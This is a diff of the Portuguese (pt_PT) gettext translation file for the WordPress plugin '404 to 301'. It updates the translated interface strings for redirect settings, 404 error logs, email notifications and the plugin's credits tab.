  msgstr "Versão do PHP"
78
 
79
- #: admin/class-404-to-301-admin.php:385
80
  msgid "Plugin Version"
81
  msgstr "Versão do plugin"
82
 
83
- #: admin/class-404-to-301-admin.php:386
84
  msgid "Home Page"
85
  msgstr "Página inicial"
86
 
87
- #: admin/class-404-to-301-admin.php:390
88
  msgid "Active Theme Details"
89
  msgstr "Detalhes do tema activo"
90
 
91
- #: admin/class-404-to-301-admin.php:391
92
- #: admin/partials/404-to-301-admin-credits-tab.php:46
93
  msgid "Name"
94
  msgstr "Nome"
95
 
96
- #: admin/class-404-to-301-admin.php:392
97
- #: admin/partials/404-to-301-admin-credits-tab.php:50
98
  msgid "Version"
99
  msgstr "Versão"
100
 
101
- #: admin/class-404-to-301-admin.php:393
102
  msgid "Theme URI"
103
  msgstr "URI do tema"
104
 
105
- #: admin/class-404-to-301-admin.php:398
106
  msgid "Active Plugins"
107
  msgstr "Plugins activos"
108
 
109
- #: admin/class-404-to-301-logs.php:59
110
  msgid "404 Error Log"
111
  msgstr "Registo de erro 404"
112
 
113
- #: admin/class-404-to-301-logs.php:184
114
  msgid "Ulta pulta..! Seems like you had no errors to log."
115
  msgstr "Ena! Parece que não ocorreu nenhum erro para registar."
116
 
117
- #: admin/class-404-to-301-logs.php:240
 
 
 
 
 
 
 
 
118
  msgid "Are you sure you want to delete this item?"
119
  msgstr "Tem a certeza que quer eliminar este item?"
120
 
121
- #: admin/class-404-to-301-logs.php:242
122
  msgid "Delete"
123
  msgstr "Eliminar"
124
 
125
- #: admin/class-404-to-301-logs.php:333
126
- msgid "Date and Time"
127
- msgstr "Data e Hora"
128
 
129
- #: admin/class-404-to-301-logs.php:334 public/class-404-to-301-public.php:89
130
  msgid "404 Path"
131
  msgstr "Caminho de 404"
132
 
133
- #: admin/class-404-to-301-logs.php:335
134
- msgid "Came From"
135
- msgstr "Vindo de"
136
 
137
- #: admin/class-404-to-301-logs.php:336 public/class-404-to-301-public.php:85
138
  msgid "IP Address"
139
  msgstr "Endereço IP"
140
 
141
- #: admin/class-404-to-301-logs.php:337 public/class-404-to-301-public.php:93
142
  msgid "User Agent"
143
  msgstr "Agente do utilizador"
144
 
145
- #: admin/class-404-to-301-logs.php:379
 
 
 
 
 
 
146
  msgid "Delete Selected"
147
  msgstr "Eliminar seleccionados"
148
 
149
- #: admin/class-404-to-301-logs.php:380
150
  msgid "Delete All"
151
  msgstr "Eliminar tudo"
152
 
153
- #: admin/class-404-to-301-logs.php:515
154
  msgid "N/A"
155
- msgstr "Não aplicável"
156
 
157
  #: admin/core/class-wp-list-table-4.4.php:162
158
  #: admin/core/class-wp-list-table-old.php:144
@@ -209,6 +225,7 @@ msgstr "Filtrar por data"
209
  msgid "All dates"
210
  msgstr "Todas as datas"
211
 
 
212
  #: admin/core/class-wp-list-table-4.4.php:602
213
  #: admin/core/class-wp-list-table-old.php:565
214
  #: admin/core/class-wp-list-table.php:602
@@ -344,118 +361,187 @@ msgstr "Ir para a página seguinte"
344
  msgid "Go to the last page"
345
  msgstr "Ir para a última página"
346
 
347
- #: admin/partials/404-to-301-admin-credits-tab.php:7
 
 
 
 
 
 
 
 
348
  msgid "About the plugin & developer"
349
  msgstr "Sobre o plugin e o programador"
350
 
351
- #: admin/partials/404-to-301-admin-credits-tab.php:15
352
  #, php-format
353
  msgid "Yo %s!"
354
  msgstr "Olá %s!"
355
 
356
- #: admin/partials/404-to-301-admin-credits-tab.php:15
357
  msgid "Thank you for using 404 to 301"
358
  msgstr "Obrigado por utilizar o 404 to 301."
359
 
360
- #: admin/partials/404-to-301-admin-credits-tab.php:17
361
  msgid "This plugin is brought to you by"
362
  msgstr "Este plugin é desenvolvido por"
363
 
364
- #: admin/partials/404-to-301-admin-credits-tab.php:17
365
- #: admin/partials/404-to-301-admin-credits-tab.php:54
366
  msgid "Visit author website"
367
  msgstr "Visite o website do autor"
368
 
369
- #: admin/partials/404-to-301-admin-credits-tab.php:17
370
  msgid "a web store developed and managed by Joel James."
371
  msgstr "uma loja online desenvolvida e gerida por Joel James."
372
 
373
- #: admin/partials/404-to-301-admin-credits-tab.php:23
374
  msgid "So you installed this plugin and how is it doing? Feel free to"
375
  msgstr ""
376
  "Então, instalou este plugin, que tal está a correr? Sinta-se à vontade para"
377
 
378
- #: admin/partials/404-to-301-admin-credits-tab.php:23
379
  msgid "Contact the developer"
380
  msgstr "Contacte o programador"
381
 
382
- #: admin/partials/404-to-301-admin-credits-tab.php:23
383
  msgid "get in touch with me"
384
  msgstr "entrar em contacto comigo"
385
 
386
- #: admin/partials/404-to-301-admin-credits-tab.php:23
387
  msgid "anytime for help. I am always happy to help."
388
  msgstr "a qualquer momento para ajuda. Tenho o maior prazer em ajudar."
389
 
390
- #: admin/partials/404-to-301-admin-credits-tab.php:30
391
  msgid "Debugging Data"
392
  msgstr "Dados de depuração"
393
 
394
- #: admin/partials/404-to-301-admin-credits-tab.php:43
395
  msgid "Plugin Information"
396
  msgstr "Informações do plugin"
397
 
398
- #: admin/partials/404-to-301-admin-credits-tab.php:54
399
  msgid "Author"
400
  msgstr "Autor"
401
 
402
- #: admin/partials/404-to-301-admin-credits-tab.php:58
403
- #: admin/partials/404-to-301-admin-credits-tab.php:62
404
  msgid "Visit plugin website"
405
  msgstr "Visite o site do plugin"
406
 
407
- #: admin/partials/404-to-301-admin-credits-tab.php:58
408
  msgid "Plugin documentation"
409
  msgstr "Documentação do plugin"
410
 
411
- #: admin/partials/404-to-301-admin-credits-tab.php:62
412
  msgid "More details about the plugin"
413
  msgstr "Mais detalhes sobre o plugin"
414
 
415
- #: admin/partials/404-to-301-admin-credits-tab.php:66
416
  msgid "Need help?"
417
  msgstr "Precisa de ajuda?"
418
 
419
- #: admin/partials/404-to-301-admin-credits-tab.php:67
420
  msgid "Contact support"
421
  msgstr "Contacte o suporte"
422
 
423
- #: admin/partials/404-to-301-admin-credits-tab.php:72
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
424
  msgid "Like the plugin"
425
  msgstr "Gosta do plugin"
426
 
427
- #: admin/partials/404-to-301-admin-credits-tab.php:75
428
  msgid "Rate now"
429
  msgstr "Classificar agora"
430
 
431
- #: admin/partials/404-to-301-admin-credits-tab.php:75
432
  msgid "Rate this on WordPress"
433
  msgstr "Dê uma classificação no WordPress"
434
 
435
- #: admin/partials/404-to-301-admin-credits-tab.php:78
436
  msgid "Donate now"
437
  msgstr "Fazer donativo agora"
438
 
439
- #: admin/partials/404-to-301-admin-credits-tab.php:78
440
  msgid "Make a small donation"
441
  msgstr "Faça um pequeno donativo"
442
 
443
- #: admin/partials/404-to-301-admin-credits-tab.php:81
444
  msgid "Contribute now"
445
  msgstr "Contribuir agora"
446
 
447
- #: admin/partials/404-to-301-admin-credits-tab.php:81
448
  msgid "Contribute to the Plugin"
449
  msgstr "Contribua para o plugin"
450
 
451
- #: admin/partials/404-to-301-admin-credits-tab.php:84
452
  msgid "Tweet now"
453
  msgstr "Publicar no Twitter agora"
454
 
455
- #: admin/partials/404-to-301-admin-credits-tab.php:84
456
  msgid "Tweet about the Plugin"
457
  msgstr "Publique no Twitter sobre o plugin"
458
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
459
  #: admin/partials/404-to-301-admin-display.php:30
460
  msgid "settings updated successfully"
461
  msgstr "definições actualizadas com sucesso"
@@ -468,99 +554,98 @@ msgstr "Geral"
468
  msgid "Help & Info"
469
  msgstr "Ajuda e informações"
470
 
471
- #: admin/partials/404-to-301-admin-general-tab.php:27
472
  msgid "Redirect type"
473
  msgstr "Tipo de redireccionamento"
474
 
475
- #: admin/partials/404-to-301-admin-general-tab.php:30
476
  msgid "Redirect (SEO)"
477
  msgstr "Redireccionamento (SEO)"
478
 
479
- #: admin/partials/404-to-301-admin-general-tab.php:31
480
- #: admin/partials/404-to-301-admin-general-tab.php:32
481
- msgid "Redirect"
482
- msgstr "Redireccionamento"
483
-
484
- #: admin/partials/404-to-301-admin-general-tab.php:34
485
  msgid "Learn more"
486
  msgstr "Saiba mais"
487
 
488
- #: admin/partials/404-to-301-admin-general-tab.php:34
489
  msgid "about these redirect types"
490
  msgstr "sobre estes tipos de redireccionamento"
491
 
492
- #: admin/partials/404-to-301-admin-general-tab.php:38
493
- msgid "Redirect to"
494
- msgstr "Redireccionar para"
495
-
496
- #: admin/partials/404-to-301-admin-general-tab.php:41
497
- #: admin/partials/404-to-301-admin-general-tab.php:45
498
  msgid "Existing Page"
499
  msgstr "Página existente"
500
 
501
- #: admin/partials/404-to-301-admin-general-tab.php:42
502
- #: admin/partials/404-to-301-admin-general-tab.php:46
503
- #: admin/partials/404-to-301-admin-general-tab.php:62
504
  msgid "Custom URL"
505
  msgstr "URL personalizado"
506
 
507
- #: admin/partials/404-to-301-admin-general-tab.php:43
508
- #: admin/partials/404-to-301-admin-general-tab.php:47
509
  msgid "No Redirect"
510
  msgstr "Sem redireccionamento"
511
 
512
- #: admin/partials/404-to-301-admin-general-tab.php:45
513
  msgid "Select any WordPress page as a 404 page"
514
  msgstr "Seleccione qualquer página do WordPress como página 404"
515
 
516
- #: admin/partials/404-to-301-admin-general-tab.php:46
517
  msgid "Redirect 404 requests to a specific URL"
518
  msgstr "Redireccione pedidos 404 para um URL específico"
519
 
520
- #: admin/partials/404-to-301-admin-general-tab.php:47
521
  msgid "To disable redirect"
522
  msgstr "Para desactivar o redireccionamento"
523
 
524
  #: admin/partials/404-to-301-admin-general-tab.php:51
 
 
 
 
 
 
 
 
525
  msgid "Select the page"
526
  msgstr "Seleccione a página"
527
 
528
- #: admin/partials/404-to-301-admin-general-tab.php:58
529
  msgid ""
530
  "The default 404 page will be replaced by the page you choose in this list"
531
  msgstr ""
532
  "A página 404 por omissão será substituída por uma página à escolha desta "
533
  "lista"
534
 
535
- #: admin/partials/404-to-301-admin-general-tab.php:65
536
  msgid "Enter any url"
537
  msgstr "Insira qualquer URL"
538
 
539
- #: admin/partials/404-to-301-admin-general-tab.php:65
540
  msgid "including"
541
  msgstr "incluindo"
542
 
543
- #: admin/partials/404-to-301-admin-general-tab.php:69
544
  msgid "Log 404 Errors"
545
  msgstr "Registar erros 404"
546
 
547
- #: admin/partials/404-to-301-admin-general-tab.php:72
548
  msgid "Enable Error Logs"
549
  msgstr "Activar registos de erros"
550
 
551
- #: admin/partials/404-to-301-admin-general-tab.php:73
552
  msgid "Disable Error Logs"
553
  msgstr "Desactivar registos de erros"
554
 
555
- #: admin/partials/404-to-301-admin-general-tab.php:75
556
  msgid "Enable/Disable Logging"
557
  msgstr "Activar/Desactivar registo"
558
 
559
- #: admin/partials/404-to-301-admin-general-tab.php:79
560
  msgid "Email notifications"
561
  msgstr "Notificações por email"
562
 
563
- #: admin/partials/404-to-301-admin-general-tab.php:86
564
  msgid ""
565
  "If you check this, an email will be sent on every 404 log on the admin email "
566
  "account"
@@ -568,39 +653,44 @@ msgstr ""
568
  "Se activar esta opção, será enviado um email a cada registo de 404 para o "
569
  "email do administrador"
570
 
571
- #: admin/partials/404-to-301-admin-general-tab.php:90
572
  msgid "Email address"
573
  msgstr "Endereço de email"
574
 
575
- #: admin/partials/404-to-301-admin-general-tab.php:94
576
  msgid "Change the recipient email address for error log notifications"
577
  msgstr ""
578
  "Modifique o endereço de email do destinatário para as notificações de "
579
  "registo de erro"
580
 
581
- #: admin/partials/404-to-301-admin-general-tab.php:98
582
  msgid "Exclude paths"
583
  msgstr "Excluir caminhos"
584
 
585
- #: admin/partials/404-to-301-admin-general-tab.php:101
586
  msgid ""
587
  "If you want to exclude few paths from error logs, enter here. One per line."
588
  msgstr ""
589
  "Se quiser excluir alguns caminhos dos registos de erros, insira aqui, um por "
590
  "linha."
591
 
592
- #: admin/partials/404-to-301-admin-general-tab.php:106
593
  msgid "Save All Changes"
594
  msgstr "Guardar todas as alterações"
595
 
596
- #: public/class-404-to-301-public.php:82
597
  msgid "Bummer! You have one more 404"
598
  msgstr "Ora bolas! Tem mais um 404."
599
 
600
- #: public/class-404-to-301-public.php:98
601
  msgid "Snap! One more 404 on "
602
  msgstr "Tem mais um 404 em "
603
 
 
 
 
 
 
604
  msgid ""
605
  "Automatically redirect all <strong>404 errors</strong> to any page using "
606
  "<strong>301 redirect for SEO</strong>. You can <strong>redirect and log</"
@@ -611,11 +701,10 @@ msgstr ""
611
  "Pode <strong>redireccionar e registar</strong> todos os erros 404. Ponha fim "
612
  "aos erros 404 na sua ferramenta de Webmaster."
613
 
 
614
  msgid "Joel James"
615
  msgstr "Joel James"
616
 
617
- msgid "http://iscode.co/products/404-to-301/"
618
- msgstr "http://iscode.co/products/404-to-301/"
619
-
620
- msgid "http://iscode.co/"
621
- msgstr "http://iscode.co/"
3
  msgid ""
4
  msgstr ""
5
  "Project-Id-Version: 404 to 301\n"
6
+ "POT-Creation-Date: 2016-06-02 14:12+0100\n"
7
+ "PO-Revision-Date: 2016-06-02 14:45+0100\n"
8
  "Last-Translator: Pedro Mendonça <ped.gaspar@gmail.com>\n"
9
  "Language-Team: Pedro Mendonça <ped.gaspar@gmail.com>\n"
10
  "Language: pt_PT\n"
12
  "Content-Type: text/plain; charset=UTF-8\n"
13
  "Content-Transfer-Encoding: 8bit\n"
14
  "Plural-Forms: nplurals=2; plural=(n != 1);\n"
15
+ "X-Generator: Poedit 1.8.8\n"
16
  "X-Poedit-SourceCharset: UTF-8\n"
17
  "X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_n:1,2;__ngettext_noop:1,2;"
18
  "_n_noop:1,2;_c,_nc:4c,1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;_nx_noop:4c,1,2;"
19
  "esc_attr__;esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c\n"
20
  "X-Poedit-Basepath: ..\n"
21
+ "X-Poedit-WPHeader: 404-to-301.php\n"
22
  "X-Poedit-SearchPath-0: .\n"
23
 
24
+ #: admin/class-404-to-301-admin.php:171 admin/class-404-to-301-admin.php:172
25
+ #: admin/class-404-to-301-admin.php:262 admin/class-404-to-301-logs.php:64
26
  msgid "404 Error Logs"
27
  msgstr "Registos de erros 404"
28
 
29
+ #: admin/class-404-to-301-admin.php:185
30
  msgid "404 to 301 Settings"
31
  msgstr "Definições de 404 to 301"
32
 
33
+ #: admin/class-404-to-301-admin.php:186
34
  msgid "404 Settings"
35
  msgstr "Definições de 404"
36
 
37
+ #: admin/class-404-to-301-admin.php:224
38
  msgid "Error Logs"
39
  msgstr "Registos de erros"
40
 
41
+ #. Plugin Name of the plugin/theme
42
+ #: admin/class-404-to-301-admin.php:297
43
+ #: admin/partials/404-to-301-admin-credits-tab.php:52
44
  msgid "404 to 301"
45
  msgstr "404 to 301"
46
 
47
+ #: admin/class-404-to-301-admin.php:353
48
  msgid "Thank you for choosing 404 to 301 to improve your website"
49
  msgstr "Obrigado por escolher o 404 to 301 para optimizar o seu site"
50
 
51
+ #: admin/class-404-to-301-admin.php:355
52
  #, php-format
53
  msgid "Kindly give this plugin a %srating%s"
54
  msgstr "Por favor, atribua a este plugin uma %sclassificação%s"
55
 
56
+ #: admin/class-404-to-301-admin.php:377
57
  #: admin/partials/404-to-301-admin-display.php:27
58
  msgid "Settings"
59
  msgstr "Definições"
60
 
61
+ #: admin/class-404-to-301-admin.php:378
62
  msgid "Logs"
63
  msgstr "Registos"
64
 
65
+ #: admin/class-404-to-301-admin.php:535
66
  msgid "Settings Data"
67
  msgstr "Dados das definições"
68
 
69
+ #: admin/class-404-to-301-admin.php:542
70
  msgid "Basic Details"
71
  msgstr "Detalhes básicos"
72
 
73
+ #: admin/class-404-to-301-admin.php:543
74
  msgid "WordPress Version"
75
  msgstr "Versão do WordPress"
76
 
77
+ #: admin/class-404-to-301-admin.php:544
78
  msgid "PHP Version"
79
  msgstr "Versão do PHP"
80
 
81
+ #: admin/class-404-to-301-admin.php:545
82
  msgid "Plugin Version"
83
  msgstr "Versão do plugin"
84
 
85
+ #: admin/class-404-to-301-admin.php:546
86
  msgid "Home Page"
87
  msgstr "Página inicial"
88
 
89
+ #: admin/class-404-to-301-admin.php:550
90
  msgid "Active Theme Details"
91
  msgstr "Detalhes do tema activo"
92
 
93
+ #: admin/class-404-to-301-admin.php:551
94
+ #: admin/partials/404-to-301-admin-credits-tab.php:51
95
  msgid "Name"
96
  msgstr "Nome"
97
 
98
+ #: admin/class-404-to-301-admin.php:552
99
+ #: admin/partials/404-to-301-admin-credits-tab.php:55
100
  msgid "Version"
101
  msgstr "Versão"
102
 
103
+ #: admin/class-404-to-301-admin.php:553
104
  msgid "Theme URI"
105
  msgstr "URI do tema"
106
 
107
+ #: admin/class-404-to-301-admin.php:558
108
  msgid "Active Plugins"
109
  msgstr "Plugins activos"
110
 
111
+ #: admin/class-404-to-301-logs.php:63
112
  msgid "404 Error Log"
113
  msgstr "Registo de erro 404"
114
 
115
+ #: admin/class-404-to-301-logs.php:203
116
  msgid "Ulta pulta..! Seems like you had no errors to log."
117
  msgstr "Ena! Parece que não ocorreu nenhum erro para registar."
118
 
119
+ #: admin/class-404-to-301-logs.php:269
120
+ msgid "Default"
121
+ msgstr "Por omissão"
122
+
123
+ #: admin/class-404-to-301-logs.php:271
124
+ msgid "Customize"
125
+ msgstr "Personalizar"
126
+
127
+ #: admin/class-404-to-301-logs.php:293
128
  msgid "Are you sure you want to delete this item?"
129
  msgstr "Tem a certeza que quer eliminar este item?"
130
 
131
+ #: admin/class-404-to-301-logs.php:296
132
  msgid "Delete"
133
  msgstr "Eliminar"
134
 
135
+ #: admin/class-404-to-301-logs.php:400
136
+ msgid "Date"
137
+ msgstr "Data"
138
 
139
+ #: admin/class-404-to-301-logs.php:401 public/class-404-to-301-public.php:68
140
  msgid "404 Path"
141
  msgstr "Caminho de 404"
142
 
143
+ #: admin/class-404-to-301-logs.php:402
144
+ msgid "From"
145
+ msgstr "De"
146
 
147
+ #: admin/class-404-to-301-logs.php:403 public/class-404-to-301-public.php:64
148
  msgid "IP Address"
149
  msgstr "Endereço IP"
150
 
151
+ #: admin/class-404-to-301-logs.php:404 public/class-404-to-301-public.php:72
152
  msgid "User Agent"
153
  msgstr "Agente do utilizador"
154
 
155
+ #: admin/class-404-to-301-logs.php:405
156
+ #: admin/partials/404-to-301-admin-general-tab.php:34
157
+ #: admin/partials/404-to-301-admin-general-tab.php:35
158
+ msgid "Redirect"
159
+ msgstr "Redireccionamento"
160
+
161
+ #: admin/class-404-to-301-logs.php:448
162
  msgid "Delete Selected"
163
  msgstr "Eliminar seleccionados"
164
 
165
+ #: admin/class-404-to-301-logs.php:449
166
  msgid "Delete All"
167
  msgstr "Eliminar tudo"
168
 
169
+ #: admin/class-404-to-301-logs.php:588
170
  msgid "N/A"
171
+ msgstr "Não disponível"
172
 
173
  #: admin/core/class-wp-list-table-4.4.php:162
174
  #: admin/core/class-wp-list-table-old.php:144
225
  msgid "All dates"
226
  msgstr "Todas as datas"
227
 
228
+ #. translators: 1: month name, 2: 4-digit year
229
  #: admin/core/class-wp-list-table-4.4.php:602
230
  #: admin/core/class-wp-list-table-old.php:565
231
  #: admin/core/class-wp-list-table.php:602
361
  msgid "Go to the last page"
362
  msgstr "Ir para a última página"
363
 
364
+ #: admin/partials/404-to-301-admin-agreement-tab.php:48
365
+ msgid "I accept"
366
+ msgstr "Aceito"
367
+
368
+ #: admin/partials/404-to-301-admin-agreement-tab.php:49
369
+ msgid "I do not accept"
370
+ msgstr "Não aceito"
371
+
372
+ #: admin/partials/404-to-301-admin-credits-tab.php:12
373
  msgid "About the plugin & developer"
374
  msgstr "Sobre o plugin e o programador"
375
 
376
+ #: admin/partials/404-to-301-admin-credits-tab.php:20
377
  #, php-format
378
  msgid "Yo %s!"
379
  msgstr "Olá %s!"
380
 
381
+ #: admin/partials/404-to-301-admin-credits-tab.php:20
382
  msgid "Thank you for using 404 to 301"
383
  msgstr "Obrigado por utilizar o 404 to 301."
384
 
385
+ #: admin/partials/404-to-301-admin-credits-tab.php:22
386
  msgid "This plugin is brought to you by"
387
  msgstr "Este plugin é desenvolvido por"
388
 
389
+ #: admin/partials/404-to-301-admin-credits-tab.php:22
390
+ #: admin/partials/404-to-301-admin-credits-tab.php:59
391
  msgid "Visit author website"
392
  msgstr "Visite o website do autor"
393
 
394
+ #: admin/partials/404-to-301-admin-credits-tab.php:22
395
  msgid "a web store developed and managed by Joel James."
396
  msgstr "uma loja online desenvolvida e gerida por Joel James."
397
 
398
+ #: admin/partials/404-to-301-admin-credits-tab.php:28
399
  msgid "So you installed this plugin and how is it doing? Feel free to"
400
  msgstr ""
401
  "Então, instalou este plugin, que tal está a correr? Sinta-se à vontade para"
402
 
403
+ #: admin/partials/404-to-301-admin-credits-tab.php:28
404
  msgid "Contact the developer"
405
  msgstr "Contacte o programador"
406
 
407
+ #: admin/partials/404-to-301-admin-credits-tab.php:28
408
  msgid "get in touch with me"
409
  msgstr "entrar em contacto comigo"
410
 
411
+ #: admin/partials/404-to-301-admin-credits-tab.php:28
412
  msgid "anytime for help. I am always happy to help."
413
  msgstr "a qualquer momento para ajuda. Tenho o maior prazer em ajudar."
414
 
415
+ #: admin/partials/404-to-301-admin-credits-tab.php:35
416
  msgid "Debugging Data"
417
  msgstr "Dados de depuração"
418
 
419
+ #: admin/partials/404-to-301-admin-credits-tab.php:48
420
  msgid "Plugin Information"
421
  msgstr "Informações do plugin"
422
 
423
+ #: admin/partials/404-to-301-admin-credits-tab.php:59
424
  msgid "Author"
425
  msgstr "Autor"
426
 
427
+ #: admin/partials/404-to-301-admin-credits-tab.php:63
428
+ #: admin/partials/404-to-301-admin-credits-tab.php:67
429
  msgid "Visit plugin website"
430
  msgstr "Visite o site do plugin"
431
 
432
+ #: admin/partials/404-to-301-admin-credits-tab.php:63
433
  msgid "Plugin documentation"
434
  msgstr "Documentação do plugin"
435
 
436
+ #: admin/partials/404-to-301-admin-credits-tab.php:67
437
  msgid "More details about the plugin"
438
  msgstr "Mais detalhes sobre o plugin"
439
 
440
+ #: admin/partials/404-to-301-admin-credits-tab.php:71
441
  msgid "Need help?"
442
  msgstr "Precisa de ajuda?"
443
 
444
+ #: admin/partials/404-to-301-admin-credits-tab.php:72
445
  msgid "Contact support"
446
  msgstr "Contacte o suporte"
447
 
448
+ #: admin/partials/404-to-301-admin-credits-tab.php:76
449
+ msgid "Disable UAN"
450
+ msgstr "Desactivar UAN"
451
+
452
+ #: admin/partials/404-to-301-admin-credits-tab.php:78
453
+ msgid "Enable UAN"
454
+ msgstr "Activar UAN"
455
+
456
+ #: admin/partials/404-to-301-admin-credits-tab.php:84
457
+ msgid "Log Manager Addon"
458
+ msgstr "Addon Log Manager"
459
+
460
+ #: admin/partials/404-to-301-admin-credits-tab.php:87
461
+ msgid ""
462
+ "Error Log Manager addon is available for 404 to 301 now. Make 404 error "
463
+ "management more easy."
464
+ msgstr ""
465
+ "O addon Log Manager está agora disponível para o 404 to 301. Torne a gestão "
466
+ "de erros 404 mais fácil."
467
+
468
+ #: admin/partials/404-to-301-admin-credits-tab.php:88
469
+ msgid ""
470
+ "Instead of email alerts on every error, get Hourly, Daily, Twice a day, "
471
+ "Weekly, Twice a week email alerts."
472
+ msgstr ""
473
+ "Em vez de emails de alerta por cada erro, receba emails de alerta a cada "
474
+ "hora, uma a duas vezes por dia, ou uma a duas vezes por semana."
475
+
476
+ #: admin/partials/404-to-301-admin-credits-tab.php:89
477
+ msgid "Automatically clear old error logs after few days to reduce db load."
478
+ msgstr ""
479
+ "Limpeza automática de registos de erros antigos após alguns dias, para "
480
+ "reduzir o peso da base de dados."
481
+
482
+ #: admin/partials/404-to-301-admin-credits-tab.php:90
483
+ msgid "See More Details"
484
+ msgstr "Ver mais detalhes"
485
+
486
+ #: admin/partials/404-to-301-admin-credits-tab.php:95
487
  msgid "Like the plugin"
488
  msgstr "Gosta do plugin"
489
 
490
+ #: admin/partials/404-to-301-admin-credits-tab.php:98
491
  msgid "Rate now"
492
  msgstr "Classificar agora"
493
 
494
+ #: admin/partials/404-to-301-admin-credits-tab.php:98
495
  msgid "Rate this on WordPress"
496
  msgstr "Dê uma classificação no WordPress"
497
 
498
+ #: admin/partials/404-to-301-admin-credits-tab.php:101
499
  msgid "Donate now"
500
  msgstr "Fazer donativo agora"
501
 
502
+ #: admin/partials/404-to-301-admin-credits-tab.php:101
503
  msgid "Make a small donation"
504
  msgstr "Faça um pequeno donativo"
505
 
506
+ #: admin/partials/404-to-301-admin-credits-tab.php:104
507
  msgid "Contribute now"
508
  msgstr "Contribuir agora"
509
 
510
+ #: admin/partials/404-to-301-admin-credits-tab.php:104
511
  msgid "Contribute to the Plugin"
512
  msgstr "Contribua para o plugin"
513
 
514
+ #: admin/partials/404-to-301-admin-credits-tab.php:107
515
  msgid "Tweet now"
516
  msgstr "Publicar no Twitter agora"
517
 
518
+ #: admin/partials/404-to-301-admin-credits-tab.php:107
519
  msgid "Tweet about the Plugin"
520
  msgstr "Publique no Twitter sobre o plugin"
521
 
522
+ #: admin/partials/404-to-301-admin-custom-redirect.php:6
523
+ msgid "Redirecting from"
524
+ msgstr "Redireccionar de"
525
+
526
+ #: admin/partials/404-to-301-admin-custom-redirect.php:10
527
+ #: admin/partials/404-to-301-admin-general-tab.php:41
528
+ msgid "Redirect to"
529
+ msgstr "Redireccionar para"
530
+
531
+ #: admin/partials/404-to-301-admin-custom-redirect.php:13
532
+ msgid ""
533
+ "Enter the url if you want to set custom redirect for above 404 path. Enter "
534
+ "the full url including http://. Leave empty if you want to follow deafult "
535
+ "settings"
536
+ msgstr ""
537
+ "Insira o URL pretendido para o redireccionamento personalizado do caminho "
538
+ "404 acima. Insira o caminho completo do URL incluindo http://. Deixe em "
539
+ "branco para utilizar as definições por omissão."
540
+
541
+ #: admin/partials/404-to-301-admin-custom-redirect.php:23
542
+ msgid "Save Redirect"
543
+ msgstr "Guardar redireccionamento"
544
+
545
  #: admin/partials/404-to-301-admin-display.php:30
546
  msgid "settings updated successfully"
547
  msgstr "definições actualizadas com sucesso"
554
  msgid "Help & Info"
555
  msgstr "Ajuda e informações"
556
 
557
+ #: admin/partials/404-to-301-admin-general-tab.php:30
558
  msgid "Redirect type"
559
  msgstr "Tipo de redireccionamento"
560
 
561
+ #: admin/partials/404-to-301-admin-general-tab.php:33
562
  msgid "Redirect (SEO)"
563
  msgstr "Redireccionamento (SEO)"
564
 
565
+ #: admin/partials/404-to-301-admin-general-tab.php:37
 
 
 
 
 
566
  msgid "Learn more"
567
  msgstr "Saiba mais"
568
 
569
+ #: admin/partials/404-to-301-admin-general-tab.php:37
570
  msgid "about these redirect types"
571
  msgstr "sobre estes tipos de redireccionamento"
572
 
573
+ #: admin/partials/404-to-301-admin-general-tab.php:44
574
+ #: admin/partials/404-to-301-admin-general-tab.php:48
 
 
 
 
575
  msgid "Existing Page"
576
  msgstr "Página existente"
577
 
578
+ #: admin/partials/404-to-301-admin-general-tab.php:45
579
+ #: admin/partials/404-to-301-admin-general-tab.php:49
580
+ #: admin/partials/404-to-301-admin-general-tab.php:66
581
  msgid "Custom URL"
582
  msgstr "URL personalizado"
583
 
584
+ #: admin/partials/404-to-301-admin-general-tab.php:46
585
+ #: admin/partials/404-to-301-admin-general-tab.php:50
586
  msgid "No Redirect"
587
  msgstr "Sem redireccionamento"
588
 
589
+ #: admin/partials/404-to-301-admin-general-tab.php:48
590
  msgid "Select any WordPress page as a 404 page"
591
  msgstr "Seleccione qualquer página do WordPress como página 404"
592
 
593
+ #: admin/partials/404-to-301-admin-general-tab.php:49
594
  msgid "Redirect 404 requests to a specific URL"
595
  msgstr "Redireccione pedidos 404 para um URL específico"
596
 
597
+ #: admin/partials/404-to-301-admin-general-tab.php:50
598
  msgid "To disable redirect"
599
  msgstr "Para desactivar o redireccionamento"
600
 
601
  #: admin/partials/404-to-301-admin-general-tab.php:51
602
+ msgid ""
603
+ "You can override this by setting individual custom redirects from error logs "
604
+ "list."
605
+ msgstr ""
606
+ "Esta definição pode ser sobreposta por redireccionamentos personalizados "
607
+ "individuais a partir da lista de registos de erros."
608
+
609
+ #: admin/partials/404-to-301-admin-general-tab.php:55
610
  msgid "Select the page"
611
  msgstr "Seleccione a página"
612
 
613
+ #: admin/partials/404-to-301-admin-general-tab.php:62
614
  msgid ""
615
  "The default 404 page will be replaced by the page you choose in this list"
616
  msgstr ""
617
  "A página 404 por omissão será substituída por uma página à escolha desta "
618
  "lista"
619
 
620
+ #: admin/partials/404-to-301-admin-general-tab.php:69
621
  msgid "Enter any url"
622
  msgstr "Insira qualquer URL"
623
 
624
+ #: admin/partials/404-to-301-admin-general-tab.php:69
625
  msgid "including"
626
  msgstr "incluindo"
627
 
628
+ #: admin/partials/404-to-301-admin-general-tab.php:73
629
  msgid "Log 404 Errors"
630
  msgstr "Registar erros 404"
631
 
632
+ #: admin/partials/404-to-301-admin-general-tab.php:76
633
  msgid "Enable Error Logs"
634
  msgstr "Activar registos de erros"
635
 
636
+ #: admin/partials/404-to-301-admin-general-tab.php:77
637
  msgid "Disable Error Logs"
638
  msgstr "Desactivar registos de erros"
639
 
640
+ #: admin/partials/404-to-301-admin-general-tab.php:79
641
  msgid "Enable/Disable Logging"
642
  msgstr "Activar/Desactivar registo"
643
 
644
+ #: admin/partials/404-to-301-admin-general-tab.php:83
645
  msgid "Email notifications"
646
  msgstr "Notificações por email"
647
 
648
+ #: admin/partials/404-to-301-admin-general-tab.php:90
649
  msgid ""
650
  "If you check this, an email will be sent on every 404 log on the admin email "
651
  "account"
653
  "Se activar esta opção, será enviado um email a cada registo de 404 para o "
654
  "email do administrador"
655
 
656
